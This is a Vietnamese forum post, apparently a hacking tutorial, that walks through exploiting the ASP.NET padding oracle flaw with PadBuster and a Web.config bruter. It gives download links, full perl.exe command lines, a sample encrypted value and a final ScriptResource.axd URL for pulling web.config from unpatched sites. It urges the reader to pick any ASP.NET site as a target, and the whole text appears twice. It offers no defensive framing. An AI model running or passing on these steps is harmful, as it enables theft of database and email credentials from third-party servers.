Khai thác lỗi Asp.net Padding oracle Vulnerability trên các website .net
Dạo qua một chút về lỗ hổng này:
- Lỗ hổng Asp.net Padding oracle được nghiên cứu và phát hiện bởi team 2 người: Thái Dương (người Vietnam) và Juliano Rizzo.
- Lỗ hổng nằm ở cơ chế xác thực của .net framework
- Cách thức khai thác: Hacker sẽ giải mã cơ chế xác thực của web-form, sau đó chèn chuỗi xác thực giả mạo để có thể download được file trên server (cụ thể là file web.config). Khi có được nội dung của file web.config thì hacker có thể truy cập thẳng vào SQL Server, hoặc email, hoặc khai thác các thông tin nhạy cảm có trong file.
- Mục tiêu khai thác: Các website asp.net chưa cập nhật bản vá Asp.net padding oracle
- Công cụ khai thác:
PadBuster: https://codeload.github.com/GDSSecurity/PadBuster/zip/master
Web.config Bruter: http://www.mindedsecurity.com/fileshare/Web.config_bruter.zip
* Lưu ý: 2 công cụ trên viết bằng ngôn ngữ Perl, do đó để dùng được thì máy bạn phải chạy được file .pl
Bạn có thể cài đặt Strawberry để chạy perl: http://strawberry-perl.googlecode.com/files/strawberry-perl-5.18.2.1-32bit.msi
Bắt đầu khai thác:
- Trước tiên bạn download các tools ở trên. Cài đặt Strawberry nếu máy chưa chạy được Perl. Giải nén các file .pl vào 1 folder (ví dụ tôi để ở folder C:strawberryperlin)
- Chọn 1 site asp.net, view-source để xem trang đó có sử dụng "WebResource" hoặc "ScriptResource" không, bạn có thể dễ dàng nhận ra theo dạng như sau:
- Tiếp theo, ta cần quan tâm đoạn code "WebResource.axd?d=...", chúng ta copy từ "WebResource" đến hết tham số "d=..." và trước ký tự "&". Như vậy với ví dụ trên, ta có giá trị của tham số d là "wuHCulEJ7ItpvTZ6fgLBkA2"
- Nhớ đường dẫn tới file "perl.exe" trên máy của bạn. Nếu bạn cài Strawberry thì nó sẽ là "C:strawberryperlinperl.exe"
- Mở command promt (Start -> Run -> CMD), và chạy các lệnh sau:
1. Tôi dùng lệnh "cd" để nhảy tới folder chứa file "perl.exe" và các file .pl đã giải nén trước đó, cho dễ thao tác
2. Chạy file padBuster.pl
Thay "domain.com" bằng website attack.
Đợi 1 lúc bạn sẽ thấy dấu nhắc: "The ID# marked with ** is recommended : _"
Bạn điền số "2" và nhấn enter (như hình dưới) để chương trình chạy tiếp
Ra làm cốc cafe, tầm 10 phút sau quay lại bạn sẽ thấy chương trình đã giải mã được 16byte như hình dưới:
Và ta thấy chương trình thông báo dạng như:
Đây chính là chuỗi mã hóa chúng ta cần, copy chuỗi trên để tiếp tục sử dụng với Webconfig.pl
3. Chạy file Webconfig.pl
Thay "domain.com" = website attack. Chú ý, lần này sử dụng "ScriptResource.axd" chứ không phải "WebResource.axd" như câu lệnh trước. Ký tự "16" cuối dòng để chỉ cho webconfig.pl rằng mã hóa 16byte.
Ra làm thêm cốc cafe và hộp bánh nữa, 30 phút sau quay lại, bạn sẽ thấy như hình dưới:
Chúng ta copy đoạn code sau thông báo: Resulting Exploit Block
4. Dùng trình duyệt truy cập thẳng vào link:
Ta sẽ có file web.config
*** Lưu ý, khi viewsource các website attack, bạn để ý thấy "WebResource.axd?d=..." có vẻ được mã hóa 16byte thì mới có khả năng khai thác, còn nếu không tức là đã vá lỗi.
- Lỗ hổng Asp.net Padding oracle được nghiên cứu và phát hiện bởi team 2 người: Thái Dương (người Vietnam) và Juliano Rizzo.
- Lỗ hổng nằm ở cơ chế xác thực của .net framework
- Cách thức khai thác: Hacker sẽ giải mã cơ chế xác thực của web-form, sau đó chèn chuỗi xác thực giả mạo để có thể download được file trên server (cụ thể là file web.config). Khi có được nội dung của file web.config thì hacker có thể truy cập thẳng vào SQL Server, hoặc email, hoặc khai thác các thông tin nhạy cảm có trong file.
- Mục tiêu khai thác: Các website asp.net chưa cập nhật bản vá Asp.net padding oracle
- Công cụ khai thác:
PadBuster: https://codeload.github.com/GDSSecurity/PadBuster/zip/master
Web.config Bruter: http://www.mindedsecurity.com/fileshare/Web.config_bruter.zip
* Lưu ý: 2 công cụ trên viết bằng ngôn ngữ Perl, do đó để dùng được thì máy bạn phải chạy được file .pl
Bạn có thể cài đặt Strawberry để chạy perl: http://strawberry-perl.googlecode.com/files/strawberry-perl-5.18.2.1-32bit.msi
Bắt đầu khai thác:
- Trước tiên bạn download các tools ở trên. Cài đặt Strawberry nếu máy chưa chạy được Perl. Giải nén các file .pl vào 1 folder (ví dụ tôi để ở folder C:strawberryperlin)
- Chọn 1 site asp.net, view-source để xem trang đó có sử dụng "WebResource" hoặc "ScriptResource" không, bạn có thể dễ dàng nhận ra theo dạng như sau:
Mã:
- Tiếp theo, ta cần quan tâm đoạn code "WebResource.axd?d=...", chúng ta copy từ "WebResource" đến hết tham số "d=..." và trước ký tự "&". Như vậy với ví dụ trên, ta có giá trị của tham số d là "wuHCulEJ7ItpvTZ6fgLBkA2"
- Nhớ đường dẫn tới file "perl.exe" trên máy của bạn. Nếu bạn cài Strawberry thì nó sẽ là "C:strawberryperlinperl.exe"
- Mở command promt (Start -> Run -> CMD), và chạy các lệnh sau:
1. Tôi dùng lệnh "cd" để nhảy tới folder chứa file "perl.exe" và các file .pl đã giải nén trước đó, cho dễ thao tác
Mã:
cd C:strawberryperlin
2. Chạy file padBuster.pl
Mã:
perl.exe padBuster.pl http://domain.com/WebResource.axd?d=wuHCulEJ7ItpvTZ6fgLBkA2 wuHCulEJ7ItpvTZ6fgLBkA2 16 -encoding 3 -plaintext "|||~/web.config"
Đợi 1 lúc bạn sẽ thấy dấu nhắc: "The ID# marked with ** is recommended : _"
Bạn điền số "2" và nhấn enter (như hình dưới) để chương trình chạy tiếp
Ra làm cốc cafe, tầm 10 phút sau quay lại bạn sẽ thấy chương trình đã giải mã được 16byte như hình dưới:
Và ta thấy chương trình thông báo dạng như:
Mã:
Encrypted value is: cjxnHkF5jO0uY5bPveG3FAAAAAAAAAAAAAAAAAAAAAA1
3. Chạy file Webconfig.pl
Mã:
perl.exe Webconfig.pl http://domain.com/ScriptResource.axd cjxnHkF5jO0uY5bPveG3FAAAAAAAAAAAAAAAAAAAAAA1 16
Ra làm thêm cốc cafe và hộp bánh nữa, 30 phút sau quay lại, bạn sẽ thấy như hình dưới:
Chúng ta copy đoạn code sau thông báo: Resulting Exploit Block
4. Dùng trình duyệt truy cập thẳng vào link:
Mã:
http://domain.com/ScriptResource.axd?d=O6obffZdLb81EFmrWueJ5nI8Zx5BeYztLmOWz73htxQAAAAAAAAAAAAAAAAAAAAA0
*** Lưu ý, khi viewsource các website attack, bạn để ý thấy "WebResource.axd?d=..." có vẻ được mã hóa 16byte thì mới có khả năng khai thác, còn nếu không tức là đã vá lỗi.
Chỉnh sửa lần cuối bởi người điều hành: